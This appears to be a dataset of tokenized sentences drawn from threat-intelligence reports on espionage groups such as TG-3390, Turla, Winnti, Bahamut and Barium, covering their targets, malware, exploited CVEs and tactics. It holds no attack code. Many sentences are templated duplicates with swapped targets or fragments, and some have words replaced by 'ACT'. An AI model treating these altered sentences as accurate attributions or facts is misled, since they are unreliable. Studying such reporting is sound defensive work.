If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail , TG-3390 identify other externally accessible servers and deploy ChinaChopper web shells .
After compromising an initial victim 's system ( patient 0 ) , the threat actors use the Baidu search engine to search for the victim 's organization name .
CTU researchers discovered the threat actors searching for " [company] login " , which directed them to the landing page for remote access .
TG-3390 actors keep track of and leverage existing ASPXTool web shells in their operations , preferring to issue commands via an internally accessible Web shell rather than HTTPBrowser or PlugX .
Within six hours of entering the environment , the threat actors compromised multiple systems and stole credentials for the entire domain .
Despite multiple public disclosures of their activities , BRONZE UNION remains an active and formidable threat as of this publication .
In 2015 , the SecureWorks® Counter Threat Unit™ ( CTU ) research team documented the BRONZE UNION threat group ( formerly labeled TG-3390 ) , which CTU™ analysis suggests is based in the People's Republic of China ( PRC ) .
After reestablishing access , the adversaries download tools such as gsecudmp and WCE that are staged temporarily on websites that TG-3390 previously compromised but never used .
In 2015 , the SecureWorks documented the BRONZE UNION threat group ( formerly labeled TG-3390 ) , which CTU analysis suggests is based in the People's Republic of China ( PRC ) .
BRONZE UNION threat campaigns that illustrate the evolution of the group 's methods and espionage objectives .
Based on BRONZE UNION 's targeting activity , CTU researchers assess it is highly likely that the group focuses on political and defense organization networks .
this SWC was used to specifically target Turkish .
In 2016 , the threat actors conducted a strategic web compromise ( SWC ) on the website of an international industry organization that affected aerospace , academic , media , technology , government , and utilities organizations around the world .
In addition , BRONZE UNION activity on multiple U.S.-based defense manufacturer networks included the threat actors seeking information associated with aerospace technologies , combat processes , and naval defense systems .
this SWC was used to specifically target Turkish goverment .
Since that analysis , CTU researchers have observed multiple BRONZE UNION threat campaigns that illustrate the evolution of the group 's methods and espionage objectives .
this SWC was used to specifically target Turkish banking .
this SWC was used to specifically target Turkish academic networks .
BRONZE UNION has consistently demonstrated the capability to conduct successful large-scale intrusions against high-profile networks and systems .
The threat actors appear to be able to create and leverage multiple SWCs in parallel .
In a separate incident , CTU researchers identified a file named s.txt , which is consistent with the output of the Netview host-enumeration tool .
BRONZE UNION actors leveraged initial web shell access on Internet-facing systems to conduct internal reconnaissance .
BRONZE UNION appears to use a combination of self-registered IP addresses and commercial VPN services in its command and control ( C2 ) and operational infrastructure .
This script relays commands and output between the controller and the system .
The threat actors used the appcmd command-line tool to unlock and disable the default logging component on the server ( systsm.webServer/httplogging ) and then delete existing logs from the system ( see Figure 4 ) .
In 2016 , CTU researchers observed the group using native system .
In March 2018 we detected an ongoing campaign .
TG-3390 's activities indicate a preference for leveraging SWCs and scan-and-exploit techniques to compromise target systems .
As of this publication , BRONZE UNION remains a formidable threat group that targets intellectual property and executes its operations at a swift pace .
we detected an ongoing campaign targeting a national data center .
The operators used the HyperBro Trojan as their last-stage in-memory remote administration tool ( RAT ) .
we detected an ongoing campaign targeting a national data center in the Centeral Asia .
The tools found in this campaign , such as the HyperBro Trojan , are regularly used by a variety of Chinese-speaking actors .
Due to tools and tactics in use we attribute the campaign to LuckyMouse Chinese-speaking actor ( also known as EmissaryPanda and APT27 ) .
It's possible TG-3390 used a waterhole to infect data center employees .
Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 ( Microsoft Office Equation Editor , widely used by Chinese-speaking actors since December 2017 ) , we can′t prove they were related to this particular attack .
We suspect this router was hacked as part of the campaign in order to process the malware 's HTTP requests .
In March 2017 , Wikileaks published details about an exploit affecting Mikrotik called ChimayRed .
There were traces of HyperBro in the infected data center from mid-November 2017 .
In March 2017 , Wikileaks published details about an exploit affecting Mikrotik called ChimayRed .
This is a hacking group with Chinese origins which targets selected organisations related with education , energy and technology .
Usually , the delivered payload is either the well-known ' PlugX ' or ' HTTPBrowser ' RAT , a tool which is believed to have Chinese origins and to be used only by certain Chinese hacking groups .
Emissary Panda has used many ACTs with the most notable being the exploits from the Hacking Team leak .
Emissary Panda is still active and continues to target selected organisations .
Cybersecurity researchers have uncovered an espionage campaign that has targeted a national data center of an unnamed central Asian country in order to conduct watering hole attacks .
The campaign is believed to be active covertly since fall 2017 .
LuckyMouse , also known as Iron Tiger , EmissaryPanda , APT 27 and Threat Group-3390 , is the same group of Chinese hackers who was found targeting Asian countries with Bitcoin mining malware early this year .
March by security researchers from Kaspersky Labs .
For example , at the end of 2016 CTU researchers observed the threat actors using native system functionality to disable logging processes and delete logs within a network .
The group has been active since at least 2010 and was behind many previous attack campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors .
attacks to a Chinese-speaking threat actor group called LuckyMouse .
LuckyMouse has been spotted using a widely used Microsoft Office vulnerability ( CVE-2017-11882 ) .
This time the group chose a national data center as its target from an unnamed country in Central Asia in an attempt to gain " access to a wide range of government resources at one fell swoop " .
The initial attack vector used in the attack against the data center is unclear , but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center .
According to the researchers , the group injected malicious JavaScript code into the official government websites associated with the data center in order to conduct watering hole attacks .
the targeted system with a piece of malware called HyperBro , a Remote Access Trojan ( RAT ) .
The main command and control ( C&C ) server used in this attack is hosted on an IP address which belongs to a Ukrainian ISP , specifically to a MikroTik router running a firmware version released in March 2016 .
the targets of the hacking group were in the automotive .
Dell SecureWorks researchers unveiled a report on Threat Group-3390 that has targeted companies around the world while stealing massive amounts of industrial data .
The group , believed to be based in China , has also targeted defense contractors , colleges and universities , law firms , and political organizations — including organizations related to Chinese minority ethnic groups .
LAS VEGAS—Today at the Black Hat information security conference , Dell SecureWorks researchers unveiled a report on a newly detected hacking group that has targeted companies around the world while stealing massive amounts of industrial data .
Designated as Threat Group 3390 and nicknamed " Emissary Panda " by researchers , the hacking group has compromised victims' networks largely through " watering hole " attacks launched from over 100 compromised legitimate websites , sites picked because they were known to be frequented by those targeted in the attack .
the United Kingdom had data stolen by members of Emissary Panda .
the US had data stolen by members of Emissary Panda .
No zero-day vulnerabilities were used to breach targeted networks , instead " TG-3390 relied on old vulnerabilities such as CVE-2011-3544 " — a near-year-old Java security hole — " and CVE-2010-0738 to compromise their targets " , Dell SecureWorks' researchers reported .
The group used a number of tools common to other Chinese hacking groups , but they had a few unique tools of their own with interfaces developed for Standard ( Simplified ) Chinese .
If the address falls within ranges that the attackers are interested in , the malicious site waits for their next page view to drop an exploit on the desirable target 's PC .
Visitors to sites exploited by Emissary Panda are directed by code embedded in the sites to a malicious webpage , which screens their IP address .
There has also been at least one victim targeted by a spear-phishing attack .
A variety of malware , including the PlugX tool , was shared with other known Chinese threat groups .
Once inside networks , the group generally targeted Windows network domain controllers and Exchange e-mail servers , targeting user credentials to allow them to move to other systems throughout the targeted network .
They used an exploit of Internet Information Server to inject keylogger and backdoor malware onto the Exchange server .
But two tools used were unique to the group : ASPXTool , an Internet Information Services ( IIS ) specific " Web shell " used to gain access to servers inside a target 's network ; and the OwaAuth credential stealing tool and Web shell , used to attack Microsoft Exchange servers running the Web Outlook interface .
By using such features and tools , attackers are hoping to blend in on the victim 's network and hide their activity in a sea of legitimate processes .
TAA leverages advanced artificial intelligence and machine learning that combs through Symantec 's data lake of telemetry in order to spot patterns associated with targeted attacks .
January 2018 , TAA triggered an alert at a large telecoms operator in Southeast Asia .
Thrip was using PsExec to move laterally between computers on the company 's network .
TAA triggered an alert at a large telecoms operator in Southeast Asia .
AA triggered an alert at a large telecoms operator in Southeast Asia .
PsExec is a Microsoft Sysinternals tool for executing processes on other systems and is one of the most frequently seen legitimate pieces of software used by attackers attempting to live off the land .
TAA not only flagged this malicious use of PsExec , it also told us what the attackers were using it for .
Thrip was attempting to remotely install a previously unknown piece of malware ( Infostealer.Catchamas ) on computers within the victim 's network .
three computers in China being used to launch the Thrip attacks .
Perhaps the most worrying discovery we made was that Thrip had targeted a satellite communications operator .
Thrip seemed to be mainly interested in the operational side of the company .
This suggests to us that Thrip 's motives go beyond spying and may also include disruption .
Armed with this information about the malware and living off the land tactics being used by this group of attackers whom we named Thrip , we broadened our search to see if we could find similar patterns that indicated Thrip had been targeting other organizations .
The group had also targeted three different telecoms operators , all based in Southeast Asia .
In all cases , based on the nature of the computers infected by Thrip , it appeared that the telecoms companies themselves and not their customers were the targets of these attacks .
Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection .
Many of the tools they use now feature new behaviors , including a change in the ACT they maintain a foothold in the targeted network .
Execute a command through exploits for CVE-2017-11882 .
Execute a command through exploits for CVE-2018-0802 .
The backdoor will load the encrypted configuration file and decrypt it , then use Secure Sockets Layer ( SSL ) protocol to connect to command-and-control ( C&C ) servers .
TClient is actually one of Tropic Trooper 's other backdoors .
The malicious loader will use dynamic-link library ( DLL ) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe ( a normal file ) .
TClient , for instance , uses DLL hijacking and injection that may not be as noticeable to others .
The backdoor noted by other security researchers was encoded with different algorithms and configured with different parameter names in 2016 , for instance .
Taiwan has been a regular target of Cyber Espionage threat actors for a number of years .
In early August , Unit 42 identified two attacks using similar techniques .
which has been active since at least 2011 .
One of the attacks used Tropic Trooper 's known Yahoyah malware , but the other attack deployed the widely available Poison Ivy RAT .
This confirms the actors are using Poison Ivy as part of their toolkit , something speculated in the original Trend Micro report but not confirmed by them .
The document attached to this e-mail exploits CVE-2012-0158 .
As we have noted in many earlier reports , attackers commonly use decoy files to trick victims into thinking a malicious document is actually legitimate .
Further analysis uncovered a handful of ties indicating the actors may also be using the PCShare malware family , which has not been previously tied to the group .
This matches with known Tactics , Techniques , and Procedures ( TTPs ) for Tropic Trooper , targeting both government institutions and also the energy industry in Taiwan .
Tropic Trooper is also still exploiting CVE-2012-0158 , as are many threat actors .
The Tropic Trooper threat actor group has been known to target governments and organizations in the Asia Pacific region for at least six years .
Turla is a notorious group that has been targeting governments .
Turla is known to run watering hole and spearphishing campaigns to better pinpoint their targets .
Turla is a notorious group that has been targeting government officials .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
Turla is a notorious group that has been targeting diplomats .
The codename for Turla APT group in this presentation is MAKERSMARK .
The Intercept reported that there exists a 2011 presentation by Canada 's Communication Security Establishment ( CSE ) outlining the errors made by the Turla operators during their operations even though the tools they use are quite advanced .
The witnessed techniques , tactics and procedures ( TTPs ) are in-line with what we usuallysee in Turla 's operation : a first stage backdoor , such as Skipper , likely delivered through spearphishing followed by the appearance on the compromised system of a second stage backdoor , Gazerin this case .
Southeastern Europe as well as countries in the former Soviet Union Republichas recently been the main target .
Finally , there are many similarities between Gazer and other second stage backdoors used by the Turla group such as Carbon and Kazuar .
Skipper , which has been linked to Turla in the past , was found alongside Gazer in most cases we investigated .
Turla APT group makes an extra effort to avoid detection by wiping files securely , changing the strings and randomizing what could be simple markers through the different backdoor versions .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including government institutions .
Turla all uses an encrypted container to store the malware 's components and configuration and they also log their actions in a file .
Over the last 10 months , Kaspersky Lab researchers have analyzed a massive cyber-espionage operation which we call " Epic Turla " .
We also observed exploits against older ( patched ) vulnerabilities , social engineering techniques and watering hole strategies in these attacks .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including embassies .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including military .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including education .
When G-Data published on Turla/Uroburos back in February , several questions remained unanswered .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including research and pharmaceutical companies .
The primary backdoor used in the Epic attacks is also known as " WorldCupSec " , " TadjMakhal " , " Wipbot " or " Tavdig " .
Thrip 's motive is likely espionage and its targets include those in the communications , geospatial imaging , and defense sectors , both in the United States and Southeast Asia .
One big unknown was the infection vector for Turla ( aka Snake or Uroburos ) .
The mothership server is generally a VPS , which runs the Control panel software used to interact with the victims .
the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated .
Once a victim is confirmed as " interesting " , the attackers upload another Epic backdoor which has a unique ID used to control this specific victim .
Our analysis indicates this is a sophisticated multi-stage infection ; which begins with Epic Turla .
this attack against a Kaspersky Lab user on August 5 , 2014 .
VENOMOUS BEAR is an advanced , Russia-based adversary that's been active since at least 2004 .
Venomous Bear has deployed malware to targets using several novel methods .
For years , Turla has relied , among other impersonations , on fake Flash installers to compromise victims .
Turla merely uses the Adobe brand to trick users into downloading the malware .
By looking at our telemetry , we found evidence that Turla installers were exfiltrating information to get.adobe.com URLs since at least July 2016 .
Thus , it is clear they are trying to be as stealthy as possible by hiding in the network traffic of the targeted organizations .
Finally , some of the victims are also infected with other Turla-related malware such as ComRAT or Gazer .
Kaspersky Lab documented this behavior in 2014 .
It is not a new tactic for Turla to rely on fake Flash installers to try to trick the user to install one of their backdoors .
Turla operators could use an already-compromised machine in the network of the victim 's organization to perform a local MitM attack .
Our January 2018 white paper was the first public analysis of a Turla campaign called Mosquito .
It is not the first time Turla has used generic tools .
In the past , we have seen the group using open-source password dumpers such as Mimikatz .
Starting in March 2018 , we observed a significant change in the campaign : it now leverages the open source exploitation framework Metasploit before dropping the custom Mosquito backdoor .
Even an experienced user can be fooled by downloading a malicious file that is apparently from adobe.com , since the URL and the IP address correspond to Adobe 's legitimate infrastructure .
However , to our knowledge , this is the first time Turla has used Metasploit as a first stage backdoor , instead of relying on one of its own tools such as Skipper .
Traffic was intercepted on a node between the end machine and the Adobe servers , allowing Turla 's operators to replace the legitimate Flash executable with a trojanized version .
At the beginning of March 2018 , as part of our regular tracking of Turla 's activities , we observed some changes in the Mosquito campaign .
In this post , we have presented the evolutions of the Turla Mosquito campaign over the last few months .
Primary targets for this adversary are in the government , aerospace , NGO , defense , cryptology and education sectors .
Turla 's campaign still relies on a fake Flash installer but , instead of directly dropping the two malicious DLLs , it executes a Metasploit shellcode and drops , or downloads from Google Drive , a legitimate Flash installer .
The Turla espionage group has been targeting various institutions for many years .
Recently , we found several new versions of Carbon , a second stage backdoor in the Turla group arsenal .
The Turla group is known to be painstaking and work in stages , first doing reconnaissance on their victims' systems before deploying their most sophisticated tools such as Carbon .
Kaspersky APT Intelligence Reporting subscription , customers received an update in mid-February 2017 .
Like previous Turla activity , WhiteBear leverages compromised websites and hijacked satellite connections for command and control ( C2 ) infrastructure .
WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report " Skipper Turla – the White Atlas framework " from mid-2016 .
However , despite the similarities to previous Turla campaigns , we believe that WhiteBear is a distinct project with a separate focus .
From February to September 2016 , WhiteBear activity was narrowly focused on embassies and consular operations around the world .
Continued WhiteBear activity later shifted to include defense-related organizations into June 2017 .
All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations .
Thus , Turla operators had access to some highly sensitive information ( such as emails sent by the German Foreign Office staff ) for almost a year .
Our investigation also led to the discovery of dozens of email addresses registered by Turla operators for this campaign and used to receive exfiltrated data from the victims .
It mainly targets Microsoft Outlook , a widely used mail client , but also targets The Bat! , a mail client very popular in Eastern Europe .
First , Turla steals emails by forwarding all outgoing emails to the attackers .
We identified several European governments and defense companies compromised with this group .
What actually happens is that the malware is able to decode data from the PDF documents and interpret it as commands for the backdoor .
In early 2018 , multiple media claimed that Turla operators used mail attachments to control infected machines .
As detailed in the previous section , this malware is able to manipulate and exfiltrate emails .
To our knowledge , Turla is the only espionage group that currently uses a backdoor entirely controlled by emails , and more specifically via PDF attachments .
The attackers first infected in March 2017 .
Our research shows that compromised organizations are at risk of not only being spied on by the Turla group who planted the backdoor , but also by other attackers .
The developers refer to this tool by the name Kazuar , which is a Trojan written using the Microsoft.NET Framework that offers actors complete access to compromised systems targeted by its operator .
We suspect the Kazuar tool may be linked to the Turla threat actor group ( also known as Uroburos and Snake ) , who have been reported to have compromised embassies , defense contractors , educational institutions , and research organizations across the globe .
This is also a full-featured backdoor controlled by email , and which can work independently of any other Turla component .
A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005 .
If the hypothesis is correct and the Turla threat group is using Kazuar , we believe they may be using it as a replacement for Carbon and its derivatives .
We used a combination of tools such as NoFuserEx , ConfuserEx Fixer , ConfuserEx Switch Killer , and de4d0t in order to deobfuscate the code for in depth analysis .
Kazuar generates its mutex by using a process that begins with obtaining the MD5 hash of a string " [username]=>singleton-instance-mutex " .
The subject is a series of targeted attacks against private companies .
e uncovered the activity of a hacking group which has Chinese origins .
Also , by creating this type of API access , Turla could use one accessible server as a single point to dump data to and exfiltrate data from .
According to our estimations , this group has been active for several years and specializes in cyberattacks against the online video game industry .
Based on our analysis , we believe that threat actors may compile Windows and Unix based payloads using the same code to deploy Kazuar against both platforms .
The group 's main objective is to steal source codes .
In 2010 HBGary investigated an information security incident related to the Winnti group at one of HBGary 's customers – an American video game company .
In 2010 US-based HBGary investigated an information security incident related to the Winnti group at one of HBGary 's customers – an American video game company .
For a long time the Winnti group had been considered as a Chinese threat actor targeting gaming companies specifically .
In April Novetta released its excellent report on the Winnti malware spotted in the operations of Axiom group .
The Axiom group has been presented as an advanced Chinese threat actor carrying out cyber-espionage attacks against a whole range of different industries .
this library includes two drivers compiled on August 22 and September 4 , 2014 .
Also our visibility as a vendor does not cover every company in the world ( at least so far ; ) ) and the Kaspersky Security Network ( KSN ) did not reveal other attacks except those against gaming companies .
Conversely , LokiBot and Agent Tesla are new malware tools .
Based on multiple active compromises by the Axiom threat group , Novetta was able to capture and analyze new Winnti malware samples .
Initial attack targets are commonly software and gaming organizations in United States , Japan , South Korea , and China .
Initial attack targets are commonly software and gaming organizations in United States , Japan , South Korea , and China .
The samples Novetta obtained from the active Axiom infection were compiled in mid- to late 2014 and represent what Novetta is referring to as version 3.0 of the Winnti lineage .
We assess with high confidence that the Winnti umbrella is associated with the Chinese state intelligence apparatus , with at least some elements located in the Xicheng District of Beijing .
The Winnti umbrella continues to operate highly successfully in 2018 .
The Winnti umbrella and closely associated entities has been active since at least 2009 .
The Winnti and Axiom group names were created by Kaspersky Lab and Symantec , respectively , for their 2013/2014 reports on the original group .
Their operations against gaming and technology organizations are believed to be economically motivated in nature .
However , based on the findings shared in this report we assess with high confidence that the actor 's primary long-term mission is politically focused .
The Winnti umbrella and linked groups' initial targets are gaming studios and high tech businesses .
During the same time period , we also observed the actor using the Browser Exploitation Framework ( BeEF ) to compromise victim hosts and download Cobalt Strike .
In this campaign , the attackers experimented with publicly available tooling for attack operations .
The primary goal of these attacks was likely to find code-signing certificates for signing future malware .
The Chinese intelligence apparatus has been reported on under many names , including Winnti , PassCV , APT17 , Axiom , LEAD , Barium , Wicked Panda , and GREF .
The attackers behind observed activity in 2018 operate from the Xicheng District of Beijing via the net block 221.216.0.0/13 .
ALLANITE activity closely resembles Palmetto Fusion described by the US Department of Homeland Security ( DHS ) .
ALLANITE activity closely resembles Palmetto Fusion described by the US Department of Homeland Security .
ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks , including collecting and distributing screenshots of industrial control systems .
In October 2017 , a DHS advisory documented ALLANITE technical operations combined with activity with a group Symantec calls Dragonfly ( which Dragos associates with DYMALLOY ) .
In October 2017 , a DHS advisory documented ALLANITE technical operations combined with activity with a group .
We assess with high confidence that the attackers discussed here are associated with the Chinese state intelligence apparatus .
ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities .
In October 2017 , a DHS advisory documented ALLANITE technical operations combined with activity with a group Symantec calls Dragonfly .
Public disclosure by third-parties , including the DHS , associate ALLANITE operations with Russian strategic interests .
ALLANITE conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system .
Dragos does not publicly describe ICS activity group technical details except in extraordinary circumstances in order to limit tradecraft proliferation .
However , full details on ALLANITE and other group tools , techniques , procedures , and infrastructure is available to network defenders via Dragos WorldView .
In addition to maritime operations in this region , Anchor Panda also heavily targeted western companies in the US , Germany , Sweden , the UK , and Australia , and other countries involved in maritime satellite systems , aerospace companies , and defense contractors .
A current round of cyber-attacks from Chinese source groups are targeting the maritime sector in an attempt to steal technology .
PLA Navy Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the LOC of operations of the South Sea Fleet of the PLA Navy .
ALLANITE operations continue and intelligence indicates activity since at least May 2017 .
APT Anchor Panda is a Chinese threat actor group who target maritime operations .
According to cyber security researchers , Anchor Panda , who work directly for the Chinese PLA Navy , likely remains active .
Dragos does not corroborate nor conduct political attribution to threat activity .
In the past they used Adobe Gh0st , Poison Ivy and Torn RAT malware as their primary attack vector is sphere phishing .
Their targets are marine companies that operate in and around the South China Sea , an LOC of much Chinese interest .
As recently as this past week , researchers observed Chinese hackers escalating cyber-attack efforts to steal military research secrets from US universities .
The cyber-espionage campaign has labelled the group Advanced Persistent Threat ( APT ) 40 or , titled , Periscope .
The group has been active since at least January 2013 .
The group has also targeted businesses operating in the South China Sea , which is a strategically important region and the focus of disputes between China and other states .
The main targets seem to be US companies in engineering , transport and defense , although it has targeted other organizations around the world .
The times of day the group is active also suggests that it is based near Beijing and the group has reportedly used malware that has been observed in other Chinese operations , indicating some level of collaboration .
Periscope 's activity has previously been suspected of being linked to China , but now researchers believe their evidence links the operation to the Chinese state .
APT40 is described as a moderately sophisticated cyber-espionage group which combines access to significant development resources with the ability to leverage publicly available tools .
Anchor Panda uses website and web-server compromise as a means of attack and leverages an enormous cache of tools in its campaigns , to include exploits that take advantage of known CVE software vulnerabilities .
Like many espionage campaigns , much of APT40 's activity begins by attempting to trick targets with phishing emails , before deploying malware such as the Gh0st RAT trojan to maintain persistence on a compromised network .
The group uses website and web-server compromise as a means of attack and leverages an enormous cache of tools in its campaigns , to include exploits that take advantage of known CVE software vulnerabilities .
More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors .
APT5 has been active since at least 2007 .
APT5 has targeted or breached organizations across multiple industries , but its focus appears to be on telecommunications and technology companies , especially information about satellite communications .
APT5 targeted the network of an electronics firm that sells products for both industrial and military applications .
The group subsequently stole communications related to the firm 's business relationship with a national military , including inventories and memoranda about specific products they provided .
In one case in late 2014 , APT5 breached the network of an international telecommunications company .
The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company 's relationships with other telecommunications companies .
APT5 also targeted the networks of some of Southeast Asia 's major telecommunications providers with Leouncia malware .
We suspect that the group sought access to these networks to obtain information that would enable it to monitor communications passing through the providers' systems .
The FBI said the " group of malicious cyber actors " ( known as APT6 or 1.php ) used dedicated top-level domains in conjunction with the command and control servers to deliver " customized malicious software " to government computer systems .
Deepen told Threatpost the group has been operating since at least since 2008 and has targeted China and US relations experts , Defense Department entities , and geospatial groups within the federal government .
Government officials said they knew the initial attack occurred in 2011 , but are unaware of who specifically is behind the attacks .
According to Deepen , APT6 has been using spear phishing in tandem with malicious PDF and ZIP attachments or links to malware infected websites that contains a malicious SCR file .
Nearly a month later , security experts are now shining a bright light on the alert and the mysterious group behind the attack .
The attacks discussed in this blog are related to an APT campaign commonly referred to as " th3bug " , named for the password the actors often use with their Poison Ivy malware .
Over the summer they compromised several sites , including a well-known Uyghur website written in that native language .
In contrast to many other APT campaigns , which tend to rely heavily on spear phishing to gain victims , " th3bug " is known for compromising legitimate websites their intended visitors are likely to frequent .
While we were unable to recover the initial vulnerability used , it is possibly the same CVE-2014-0515 Adobe Flash exploit first reported by Cisco TRAC in late July .
However , to increase success rates APT20 can use zero-day exploits , so even a properly patched system would be compromised .
Our direct observation of in-the-wild spearphishing attacks staged by the Bahamut group have been solely attempts to deceive targets into providing account passwords through impersonation of notices from platform providers .
Bahamut was first noticed when it targeted a Middle Eastern human rights activist in the first week of January 2017 .
Later that month , the same tactics and patterns were seen in attempts against an Iranian women 's activist – an individual commonly targeted by Iranian actors , such as Charming Kitten and the Sima campaign documented in our 2016 Black Hat talk .
In June we published on a previously unknown group we named " Bahamut " , a strange campaign of phishing and malware apparently focused on the Middle East and South Asia .
Once inside a network , APT40 uses credential-harvesting tools to gain usernames and passwords , allowing it to expand its reach across the network and move laterally through an environment as it moves to towards the ultimate goal of stealing data .
Bahamut was shown to be resourceful , not only maintaining their own Android malware but running propaganda sites , although the quality of these activities varied noticeably .
In June we published on a previously unknown group we named " Bahamut " , a strange campaign of phishing and malware apparently focused on the Middle East and South Asia .
Several times , APT5 has targeted organizations and personnel based in Southeast Asia .
However , in the same week of September a series of spearphishing attempts once again targeted a set of otherwise unrelated individuals , employing the same tactics as before .
Our primary contribution in this update is to implicate Bahamut in what are likely counterterrorism-motivated surveillance operations , and to further affirm our belief that the group is a hacker-for-hire operation .
As we wrote then , compared to Kingphish , Bahamut operates as though it were a generation ahead in terms of professionalism and ambition .
In the Bahamut report , we discussed two domains found within our search that were linked with a custom Android malware agent .
After the publication of the original report , these sites were taken offline despite the fact that one agent was even updated a six days prior to our post ( the " Khuai " application ) .
FIF is notable for its links to the Lashkar-e-Taiba ( LeT ) terrorist organization , which has committed mass-casualty attacks in India in support of establishing Pakistani control over the disputed Jammu and Kashmir border region .
As a result , it is already flagged as Bahamut by antivirus engines .
Our initial observation of the Bahamut group originated from in-the-wild attempts to deceive targets into providing account passwords through impersonation of platform providers .
One curious trait of Bahamut is that it develops fully-functional applications in support of its espionage activities , rather than push nonfunctional fake apps or bundle malware with legitimate software .
Curiously , Bahamut appears to track password attempts in response to failed phishing attempts or to provoke the target to provide more passwords .
Bahamut spearphishing attempts have also been accompanied with SMS messages purporting to be from Google about security issues on their account , including a class 0 message or " Flash text " .
 These text messages did not include links but are intended to build credibility around the fake service notifications later sent to the target 's email address .
We have not found evidence of Bahamut engaging in crime or operating outside its limited geographic domains , although this narrow perspective could be accounted for by its compartmentalization of operations .
Thus far , Bahamut 's campaigns have appeared to be primarily espionage or information operations – not destructive attacks or fraud .
The targets and themes of Bahamut 's campaigns have consistently fallen within two regions – South Asia ( primarily Pakistan , specifically Kashmir ) and the Middle East ( from Morocco to Iran ) .
Our prior publication also failed to acknowledge immensely valuable input from a number of colleagues , including Nadim Kobeissi 's feedback on how the API endpoints on the Android malware were encrypted .
Bahamut targeted similar Qatar-based individuals during their campaign .
Bellingcat also reported the domain had been used previously to host potential decoy documents as detailed in VirusTotal here using http://voguextra.com/decoy.doc .
The China-backed Barium APT is suspected to be at the helm of the project .
Trojanized versions of the utility were then signed with legitimate certificates and were hosted on and distributed from official ASUS update servers – which made them mostly invisible to the vast majority of protection solutions , according to Kaspersky Lab .
Kaspersky Lab To compromise the utility , Kaspersky Lab determined that the cyberattackers used stolen digital certificates used by ASUS to sign legitimate binaries , and altered older versions of ASUS software to inject their own malicious code .
To compromise the utility , Kaspersky Lab determined that Barium used stolen digital certificates used by ASUS to sign legitimate binaries , and altered older versions of ASUS software to inject their own malicious code .
BARIUM , a Chinese state player that also goes by APT17 , Axiom and Deputy Dog , was previously linked to the ShadowPad and CCleaner incidents , which were also supply-chain attacks that used software updates to sneak onto machines .
That said , the " fingerprints " left on the samples by the attackers – including techniques used to achieve unauthorized code execution – suggest that the BARIUM APT is behind the effort , according to the researchers .
In the 2017 ShadowPad attack , the update mechanism for Korean server management software provider NetSarang was compromised to serve up an eponymous backdoor .
In the next incident , also in 2017 , software updates for the legitimate computer cleanup tool CCleaner was found to have been compromised by hackers to taint them with the same ShadowPad backdoor .
NetSarang , which has headquarters in South Korea and the United States , removed the backdoored update , but not before it was activated on at least one victim 's machine in Hong Kong .
Given our increased confidence that Bahamut was responsible for targeting of Qatari labor rights advocates and its focus on the foreign policy institutions other Gulf states , Bahamut 's interests are seemingly too expansive to be limited one sponsor or customer .
Barium specializes in targeting high value organizations holding sensitive data , by gathering extensive information about their employees through publicly available information and social media , using that information to fashion phishing attacks intended to trickthose employees into compromising their computers and networks .
We identified an overlap in the domain voguextra.com , which was used by Bahamut within their " Devoted To Humanity " app to host an image file and as C2 server by the PrayTime iOS app mentioned in our first post .
Althoughthe BariumDefendants have relied on differentand distinct infrastructures in an effortto evade detection , Bariumused the same e-mail address ( hostay88@gmail.com ) to register malicious domains used in connection with at least two toolsets that Barium has employed to compromise victim computers .
The second method , described in Part D.2 , below , involves the " ShadowPad " malware , which the Barium Defendants have distributed via a third-party software provider 's compromised update .
To enhance the effectiveness of phishing attacks into the organization , Barium will collect additional background informationfrom social media sites .
Employing a technique known as " spear phishing " , Barium has heavily targeted individuals within HumanResources or Business Developmentdepartments ofthe targeted organizations in order to compromise the computers ofsuch individuals .
The first method , described in Part D.l , below , involves the " Barlaiy " and " PlugXL " malware , which the Barium Defendants propagate using phishing techniques .
Using the information gathered from its reconnaissance on social media sites , Barium packages the phishing e-mail in a ACT that gives the e-mail credibility to the target user , often by making the e-mail appear as ifit were sent from an organization known to and trusted by the victim or concerning a topic of interest to the victim .
Barium Defendants install the malicious " Win32/Barlaiy " malware and the malicious " Win32/PlugX.L " malware on victim computers using the means described above .
Both Win32/Barlaiy & Win32/PlugX.L are remote access " trojans " , which allow Barium to gather a victim 's information , control a victim 's device , install additional malware , and exfiltrate information fi-om a victim 's device .
Barium Defendants install the malicious credential stealing and injection tool known as " Win32/RibDoor.A!dha " .
While not detected at the time , Microsoft 's antivirus and security products now detect this Barium malicious file and flag the file as " Win32/ShadowPad.A " .
MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .
Figure 9a , below , shows detections of encounters with the Barium actors and their infrastructure , including infected computers located in Virginia , and Figure 9b , below , shows detections of encounters throughout the United States .
Barium has targeted Microsoft customers both in Virginia , the United States , and around the world .
Once the Barium Defendants have access to a victim computer through the malware described above , they monitor the victim 's activity and ultimately search for and steal sensitive documents ( for example , Exfiltration of intellectual property regarding technology has been seen ) , and personal information fi"om the victim 's network .
According to a 49-page report published Thursday , all of the attacks are the work of Chinese government 's intelligence apparatus , which the report 's authors dub the Winnti Umbrella .
